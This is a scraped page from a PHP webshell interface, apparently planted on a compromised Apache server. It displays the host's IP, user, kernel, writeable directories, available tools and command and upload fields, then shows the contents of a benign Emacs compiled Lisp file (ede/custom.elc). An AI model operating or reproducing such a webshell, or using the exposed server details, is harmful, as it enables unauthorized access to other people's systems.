403Webshell
Server IP : 217.160.0.212  /  Your IP : 216.73.216.141
Web Server : Apache
System : Linux www 6.18.51-i1-ampere #1196 SMP Fri Sep 11 20:43:55 CEST 2026 aarch64
User : sws1073854427 ( 1073854427)
PHP Version : 8.4.23
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /usr/share/emacs/28.2/lisp/cedet/ede/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/share/emacs/28.2/lisp/cedet/ede/custom.elc
;ELC
;;; Compiled
;;; in Emacs version 28.2
;;; with all optimizations.



(require 'ede)
#@34 The old variables for a project.
(defvar eieio-ede-old-variables nil (#$ . 99))
#@60 Edit fields of the current project through EIEIO & Custom.
(defalias 'ede-customize-project #[0 "\301\302!\210\303\304 \305\"\304 \306!\210\307\300!\210\211\207" [eieio-ede-old-variables require eieio-custom eieio-oref ede-current-project local-variables ede-customize make-local-variable] 4 (#$ . 185) nil])
(defalias 'customize-project 'ede-customize-project)
#@59 Edit fields of the current target through EIEIO & Custom.
(defalias 'ede-customize-current-target #[0 "\301\302!\210\303\304\"\204\305\306!\210\307!\207" [ede-object require eieio-custom obj-of-class-p ede-target error "Current file is not part of a target" ede-customize-target] 3 (#$ . 556) nil])
(defalias 'customize-target 'ede-customize-current-target)
#@108 Edit fields of the current target through EIEIO & Custom.
OBJ is the target object to customize.

(fn OBJ)
(defalias 'ede-customize-target #[257 "\300\301!\210\211\203\302\303\"\204\304\305!\210\306!\207" [require eieio-custom obj-of-class-p ede-target error "No logical target to customize" ede-customize] 4 (#$ . 925)])
(byte-code "\300\301\302\303\302\304%\210\300\301\302\305\302\306%\207" [cl-generic-define-method ede-customize nil ((proj ede-project)) #[257 "\300\301\"\207" [eieio-customize-object default] 4 "Customize the EDE project PROJ.\n\n(fn PROJ)"] ((target ede-target)) #[257 "\300\301\"\207" [eieio-customize-object default] 4 "Customize the EDE TARGET.\n\n(fn TARGET)"]] 6)
#@67 Variable for tracking target order in `ede-project-sort-targets'.
(defvar ede-project-sort-targets-order nil (#$ . 1632))
#@69 Create a custom-like buffer for sorting targets of current project.
(defalias 'ede-project-sort-targets #[0 "\303 \304\305\306!!\210\307 \210\211\310\311\312\313\314$\210\315\316!\210\310\311\312\317\320$\210\315\321!\210\322\323\324\325\326\327\330\"GS\"\"\210\331 \210\332\n!\210\333 \210eb\207" [ede-object-project ede-project-sort-targets-order widget-keymap ede-current-project switch-to-buffer get-buffer-create "*EDE sort targets*" erase-buffer widget-create push-button :notify #[128 "\302\303\"\304\211	\211A\242\211\262\203\3058C\"\262\202\306\303#\266\307!\210\310 \207" [ede-object-project ede-project-sort-targets-order eieio-oref targets nil append eieio-oset ede-commit-project kill-buffer] 8 "\n\n(fn &rest IGNORE)"] " Accept " widget-insert "   " #[128 "\300 \207" [kill-buffer] 2 "\n\n(fn &rest IGNORE)"] " Cancel " "\n\n" nil mapc #[257 "\300\301\211#\207" [add-to-ordered-list ede-project-sort-targets-order] 5 "\n\n(fn X)"] number-sequence 0 eieio-oref targets ede-project-sort-targets-list use-local-map widget-setup] 8 (#$ . 1760) nil])
#@62 Sort the target list while using `ede-project-sort-targets'.
(defalias 'ede-project-sort-targets-list #[0 "\212\304\305\"\306\211eb\210\307y\210`d|\210\211G\310\211W\205k\211\310V\2030\311\312\313\314\315\"\316$\210\2024\317\320!\210GSW\203I\311\312\313\314\321\"\322$\210\202M\317\323!\210\317\324\325T!\326\3048	8\327\"\330\260!\266\211T\262\202\266\202*\262)\207" [ede-object-project inhibit-modification-hooks inhibit-read-only ede-project-sort-targets-order eieio-oref targets t 2 0 widget-create push-button :notify make-closure #[128 "	\302\301\3008\300S#\210\302\301\300S8\300#\266\303 \207" [V0 ede-project-sort-targets-order add-to-ordered-list ede-project-sort-targets-list] 6 "\n\n(fn &rest IGNORE)"] " Up " widget-insert "      " #[128 "	\302\301\3008\300T#\210\302\301\300T8\300#\266\303 \207" [V0 ede-project-sort-targets-order add-to-ordered-list ede-project-sort-targets-list] 6 "\n\n(fn &rest IGNORE)"] " Down " "        " " " number-to-string ".:   " name "\n"] 11 (#$ . 2845)])
(byte-code "\300\301\302\303\302\304%\210\300\301\302\305\302\306%\210\300\307\302\310\302\311%\210\312\313!\207" [cl-generic-define-method eieio-done-customizing nil ((proj ede-project)) #[257 "C\301\302\"\303\242\203,\304\242@@\"\204#\212\305\306\307\"\310!\"\210)\211\242A\240\210\202\305\306\311\"\310!\"\207" [eieio-ede-old-variables eieio-oref local-variables nil assoc mapc make-closure #[257 "\211q\210\301\300\242@@!\207" [V0 kill-local-variable] 3 "\n\n(fn B)"] ede-project-buffers #[257 "\301\300\"\207" [V0 ede-set-project-variables] 4 "\n\n(fn B)"]] 7 "Call this when a user finishes customizing PROJ.\n\n(fn PROJ)"] ((_target ede-target)) #[257 "\300\207" [nil] 2 "Call this when a user finishes customizing TARGET.\n\n(fn TARGET)"] ede-commit-project ((_proj ede-project)) #[257 "\300\207" [nil] 2 "Commit any change to PROJ to its file.\n\n(fn PROJ)"] provide ede/custom] 6)

Youez - 2016 - github.com/yon3zu
LinuXploit